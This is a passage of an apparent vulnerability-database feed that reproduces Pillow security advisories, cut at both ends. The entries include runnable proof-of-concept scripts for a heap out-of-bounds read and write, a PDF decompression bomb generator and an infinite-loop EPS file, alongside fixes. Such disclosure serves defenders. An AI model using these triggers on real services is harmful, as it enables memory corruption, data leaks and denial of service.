bytes whose source offsets were outside the allocated\npacked row. Rows are  avoided because they mostly repeat the same adjacent heap window.\n\nRun the following with a standard affected Pillow installation.\n\n```python\nimport hashlib\nimport io\nimport PIL\nfrom PIL import Image\n\nWIDTH = 65535\nATTEMPTS = 20\nROW_BYTES = (WIDTH + 7) // 8\nMAX_OOB_WINDOW = WIDTH - ROW_BYTES\n\ndef extract_oob_payload(data):\n    i = 18\n    pixel = 0\n    oob = bytearray()\n\n    while pixel < WIDTH:\n        descriptor = data[i]\n        i += 1\n        count = (descriptor & 0x7F) + 1\n\n        if descriptor & 0x80:\n            value = data[i]\n            i += 1\n            if pixel + count - 1 >= ROW_BYTES:\n                oob.append(value)\n        else:\n            values = data[i : i + count]\n            i += count\n            oob.extend(values[max(ROW_BYTES - pixel, 0) :])\n\n        pixel += count\n\n    return bytes(oob)\n\n\nbest = b\"\"\n\nfor _ in range(ATTEMPTS):\n    out = io.BytesIO()\n    Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\")\n    oob = extract_oob_payload(out.getvalue())\n    if len(oob) > len(best):\n        best = oob\n\nwith open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp:\n    fp.write(best)\n\nprint(f\"Pillow={PIL.__version__}\")\nprint(f\"packed_row_bytes={ROW_BYTES}\")\nprint(f\"maximum_oob_window={MAX_OOB_WINDOW}\")\nprint(f\"serialized_distinct_oob_offsets={len(best)}\")\nprint(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\")\nprint(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\")\nprint(f\"sha256={hashlib.sha256(best).hexdigest()}\")\n```\n\nObserved on installed Pillow `12.2.0`:\n\n```text\nPillow=12.2.0\npacked_row_bytes=8192\nmaximum_oob_window=57343\nserialized_distinct_oob_offsets=57297\nnonzero_oob_bytes=54407\ncoverage=99.92%\n```\n\n### Impact\n\nThis is a heap out-of-bounds read and potential information disclosure.\n\nA maximum-width single-row image can cause nearly the full\n`57343`-byte adjacent heap window to be incorporated into one output file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59198"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9709"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59199","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:20Z","upstream":["GHSA-6r8x-57c9-28j4","BIT-pillow-2026-59199","CVE-2026-59199","PYSEC-2026-3451"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow","details":"### Summary\n\nPillow's public image coordinate APIs can trigger a native heap out-of-bounds\nwrite when given coordinates near the signed 32-bit integer limits. In 4-byte\npixel modes such as `RGBA`, this becomes a controlled backward heap underwrite:\nfor a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes\nstarting `4 * W` bytes before the destination row pointer. With successful large\nimage allocation, the theoretical upper bound is ~2 GiB backwards from\nthe destination row.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image\n\nINT_MIN = -(1 << 31)\n\nsrc = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\ndst = Image.new(\"RGBA\", (8, 1))\ndst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))\n```\n\nThe same root cause is also reachable through `Image.crop()` and\n`Image.alpha_composite()`. No private API, ctypes, custom Python object, or\nmalformed image file is needed.\n\nThis has been confirmed as an ASAN heap-buffer-overflow write. On normal\nnon-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with\n`double free or corruption (out)`\n\n### Details\n\n`src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native\n`ImagingCore.paste()` method:\n\n```python\nself.im.paste(source, box)\n```\n\n`src/_imaging.c:_paste()` parses the four Python coordinates into signed `int`\nvalues and calls `ImagingPaste()`:\n\n```c\nint x0, y0, x1, y1;\nPyArg_ParseTuple(args, \"O(iiii)|O!\", &source, &x0, &y0, &x1, &y1, ...);\nstatus = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);\n```\n\n`src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using\nsigned `int` arithmetic:\n\n```c\nxsize = dx1 - dx0;\nysize = dy1 - dy0;\n\nif (dx0 + xsize > imOut->xsize) {\n    xsize = imOut->xsize - dx0;\n}\n```\n\nWith `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`.\nThat matches the 2-pixel source image, so the size check passes. The later\n`dx0 + xsize` clip check wraps around and does not reject the out-of-bounds\ndestination.\n\nFor 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by\n`pixelsize`:\n\n```c\ndx *= pixelsize;\nxsize *= pixelsize;\nmemcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);\n```\n\nFor the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the\ndestination row allocation.\n\nThe primitive scales with the attacker-controlled source width:\n\n```text\nsource width = W\nbox = ((1 << 31) - W, 0, INT_MIN, 1)\n\nC destination offset = -4 * W\nC memcpy size        =  4 * W\nwrite range          = [row_start - 4W, row_start)\n```\n\nExamples for `RGBA`:\n\n```text\nW = 2         -> writes 8 bytes before the row\nW = 1024      -> writes 4096 bytes before the row\nW = 65536     -> writes 256 KiB before the row\nW = 1000000   -> writes about 4 MiB before the row\n```\n\nPillow's image creation guard currently limits `xsize` to roughly\n`INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is\n`2,147,483,640` bytes before the destination row pointer. In practice, the\nusable range depends on memory availability, allocator layout, and process heap\nstate.\n\nTwo other documented APIs reach the same sink:\n\n```python\n# Image.crop() path\nleft = INT_MIN + 2\nImage.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1))\n\n# Image.alpha_composite() path, via its internal crop()\nbase = Image.new(\"RGBA\", (2, 1))\nover = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44))\nbase.alpha_composite(over, dest=(left, 0))\n```\n\n`Image.crop()` keeps `right - left` small, so the Python decompression-bomb\ncheck allows it. `src/libImaging/Crop.c` then computes wrapped paste\ncoordinates and calls `ImagingPaste()`.\n\n### PoC\n\nThe following standalone script exercises all three public API paths. Save it\nas `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom PIL import Image\n\n\nINT_MIN = -(1 << 31)\n\n\ndef rgba_pattern(width):\n    out = bytearray()\n    for i in range(width):\n        out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))\n    return bytes(out)\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"variant\",\n        choices=(\"paste\", \"crop\", \"alpha\"),\n        nargs=\"?\",\n        default=\"paste\",\n    )\n    parser.add_argument(\"-w\", \"--width\", type=int, default=2)\n    args = parser.parse_args()\n\n    width = args.width\n    src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width))\n\n    if args.variant == \"paste\":\n        box = ((1 << 31) - width, 0, INT_MIN, 1)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=paste box={box}\")\n        print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\")\n        sys.stdout.flush()\n        dst.paste(src, box)\n        print(\"paste returned; first row:\", dst.tobytes().hex())\n\n    elif args.variant == \"crop\":\n        left = INT_MIN + width\n        box = (left, 0, left + width, 1)\n        print(f\"variant=crop box={box}\")\n        sys.stdout.flush()\n        out = src.crop(box)\n        print(\"crop returned; output:\", out.tobytes().hex())\n\n    else:\n        dest = (INT_MIN + width, 0)\n        dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0))\n        print(f\"variant=alpha dest={dest}\")\n        sys.stdout.flush()\n        dst.alpha_composite(src, dest=dest)\n        print(\"alpha_composite returned; first row:\", dst.tobytes().hex())\n\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun against an ASAN build:\n\n```bash\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py paste\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py crop\n\nenv ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\\n  python b021_poc.py alpha\n```\n\nObserved ASAN signature for the direct `Image.paste()` path:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\n_paste /out/src/src/_imaging.c:1461\n0x... is located 8 bytes before 32-byte region\n```\n\nOn non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal\n`Image.paste()` trigger returns from `paste()` and then the process aborts\nduring cleanup with:\n\n```text\ndouble free or corruption (out)\nAborted (core dumped)\n```\n\nObserved ASAN signature for the `Image.crop()` and `Image.alpha_composite()`\npaths:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\npaste /out/src/src/libImaging/Paste.c:59\nImagingPaste /out/src/src/libImaging/Paste.c:323\nImagingCrop /out/src/src/libImaging/Crop.c:57\n_crop /out/src/src/_imaging.c:1090\n```\n## Suggested fix\n\nAvoid signed overflow in paste/crop coordinate arithmetic. Use checked\narithmetic or a wider type before calculating widths and clipped endpoints.\n\nFor example, reject boxes whose endpoint subtraction cannot be represented\ncleanly, and clip using non-overflowing comparisons:\n\n```c\nint64_t xsize64 = (int64_t)dx1 - dx0;\nint64_t ysize64 = (int64_t)dy1 - dy0;\n\nif (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {\n    return ImagingError_ValueError(\"bad box\");\n}\n```\n\n`ImagingCrop()` should receive the same treatment for `sx1 - sx0`,\n`dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough documented public image APIs.\n\nApplications are impacted if an untrusted user can control image operation\ncoordinates passed to Pillow, for example crop boxes, paste boxes, or overlay\npositions. The bytes written in the direct `Image.paste()` variant are copied\nfrom the source image, so attacker-controlled source pixels can influence the\nout-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose\noffset and length are both `4 * source_width`, bounded in practice by successful\nimage allocation and heap layout.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59199"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9703"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59200","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:29Z","upstream":["GHSA-jjj6-mw9f-p565","BIT-pillow-2026-59200","CVE-2026-59200","PYSEC-2026-3495"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()","details":"### Summary\n`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.\n\n### Details\n`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:\n\n```python\n# PIL/PdfParser.py — PdfStream.decode()\nclass PdfStream:\n    def decode(self) -> bytes:\n        try:\n            filter = self.dictionary[b\"Filter\"]\n        except KeyError:\n            return self.buf\n        if filter == b\"FlateDecode\":\n            try:\n                expected_length = self.dictionary[b\"DL\"]\n            except KeyError:\n                expected_length = self.dictionary[b\"Length\"]\n            return zlib.decompress(self.buf, bufsize=int(expected_length))\n            #                               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            #  bufsize is an *initial buffer hint*, NOT a maximum size limit.\n            #  zlib.decompress() allocates as much memory as needed regardless.\n```\n\nFrom the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.\n\n`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.\n\n**Confirmed reachable path:**\n```python\nwith PdfParser.PdfParser(\"evil.pdf\") as pdf:\n    stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)\n    data = stream_obj.decode()   # ← OOM here\n```\n\n\n### PoC\n\n```python\nimport zlib, tempfile, os, time\nfrom PIL import PdfParser\n\n# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)\nEXPAND_MB = 100\nraw = b'\\x00' * (EXPAND_MB * 1_000_000)\ncompressed = zlib.compress(raw, level=9)   # ~97 KB\n\nbuf = b'%PDF-1.4\\n'\no1 = len(buf); buf += b'1 0 obj\\n<< /Type /Pages /Kids [] /Count 0 >>\\nendobj\\n'\no2 = len(buf); buf += b'2 0 obj\\n<< /Type /Catalog /Pages 1 0 R >>\\nendobj\\n'\no3 = len(buf)\nhdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()\nbuf += b'3 0 obj\\n' + hdr + b'\\nstream\\n' + compressed + b'\\nendstream\\nendobj\\n'\nxref = len(buf)\nbuf += b'xref\\n0 4\\n0000000000 65535 f \\n'\nfor off in [o1, o2, o3]:\n    buf += f'{off:010d} 00000 n \\n'.encode()\nbuf += b'trailer\\n<< /Size 4 /Root 2 0 R >>\\nstartxref\\n' + str(xref).encode() + b'\\n%%EOF\\n'\n\nprint(f\"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)\")\n\nwith tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:\n    f.write(buf); tmpname = f.name\n\nwith PdfParser.PdfParser(tmpname) as pdf:\n    obj, _ = pdf.get_value(pdf.buf, o3)\n    t = time.time()\n    decoded = obj.decode()\n    print(f\"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s\")\n\nos.unlink(tmpname)\n```\n\n**Actual output (Pillow 12.1.1, Python 3.12):**\n```\nPDF size: 97,538 bytes (95.3 KB)\nDecoded: 100,000,000 bytes in 0.265s\n```\n\n**Measured expansion:**\n\n| PDF file size | Memory allocated | Ratio | Wall time |\n|---|---|---|---|\n| 10 KB | 10 MB | 1,026× | 0.024 s |\n| 95 KB | 100 MB | 1,028× | 0.265 s |\n| 475 KB | 500 MB | 1,028× | 1.279 s |\n| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |\n\n### Impact\nThis is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.\n\n**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.\n\n**Suggested fix:**\n\n```python\nMAX_DECOMPRESS_BYTES = 200 * 1024 * 1024  # 200 MB cap\n\ndef decode(self) -> bytes:\n    ...\n    if filter == b\"FlateDecode\":\n        ...\n        result = zlib.decompress(self.buf, bufsize=int(expected_length))\n        if len(result) > MAX_DECOMPRESS_BYTES:\n            msg = \"Decompressed stream exceeds maximum allowed size\"\n            raise ValueError(msg)\n        return result\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59200"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9718"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59203","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:30Z","upstream":["GHSA-pg7v-jwj7-p798","BIT-pillow-2026-59203","CVE-2026-59203","PYSEC-2026-3452"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service","details":"### Summary\n\nPillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.\n\nThe issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.\n\nConfirmed affected versions: Pillow 12.0.0 through 12.2.0.\n\n### Details\n\nThe issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.\n\nRelevant code:\n\n    elif bytes_mv[:14] == b\"%%BeginBinary:\":\n        bytecount = int(byte_arr[14:bytes_read])\n        self.fp.seek(bytecount, os.SEEK_CUR)\n\nThere is no validation that bytecount is non-negative.\n\nIf an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.\n\nIn local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.\n\n### PoC\n\nSave the following content as pillow_eps_beginbinary_dos.eps:\n\n    %!PS-Adobe-3.0 EPSF-3.0\n    %%BoundingBox: 0 0 1 1\n    %%EndComments\n    % dummy comment after transition\n    %%BeginBinary:-18\n    %%EOF\n\nThen run:\n\n    python -m pip install \"Pillow==12.2.0\"\n\n    python - <<'PY'\n    from PIL import Image\n    Image.open(\"pillow_eps_beginbinary_dos.eps\")\n    PY\n\nExpected behavior: Pillow should reject the malformed EPS file with a parser exception.\n\nActual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.\n\nThe loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:\n\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n    LINE b'%%BeginBinary:-18' pos_after_newline 112\n    BeginBinary bytecount -18 seek from 112 to 94\n\n### Impact\n\nThis is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().\n\nThis can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.\n\nSuggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59203"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9708"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59204","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:34Z","upstream":["GHSA-vjc4-5qp5-m44j","BIT-pillow-2026-59204","CVE-2026-59204","PYSEC-2026-3496"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service","details":"### Summary\n`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.\n\n### Details\n- Location: `src/libImaging/Jpeg2KDecode.c:853`\n- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.\n- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.\n- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.\n\n\n### PoC\nThe attached helper script and testcase were used:\n[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)\n\n\nGenerate the testcase:\n\n```bash\npythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\\n  --size 3664 --tile 1832\n```\n\nExpected geometry from the helper:\n\n- image size: `3664 x 3664`\n- mode: `RGBA`\n- tile size: `1832 x 1832` (`2x2` tiles)\n- `image_bytes=53699584`\n- uncapped RSS observed:\n  - vulnerable build: `maxrss_kb=180264`\n  - fixed comparison build: `maxrss_kb=138404`\n\nLoad it with the current vulnerable build:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2\n```\n\nLoad it again under a 160 MB address-space cap:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160\n```\n\n### Impact\nConservative impact: denial of service through memory exhaustion during JPEG2000 decoding.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59204"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9704"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-59205","published":"2026-08-13T16:35:12Z","modified":"2026-10-08T00:29:24Z","upstream":["GHSA-9hw9-ch79-4vh6","BIT-pillow-2026-59205","CVE-2026-59205","PYSEC-2026-3453"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch","details":"### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -> RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {\n        return -1;\n    }\n\n    for (i = 0; i < im->ysize; i++) {\n        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);\n    }\n\n    pyCMScopyAux(hTransform, imOut, im);\n    return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n    return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * 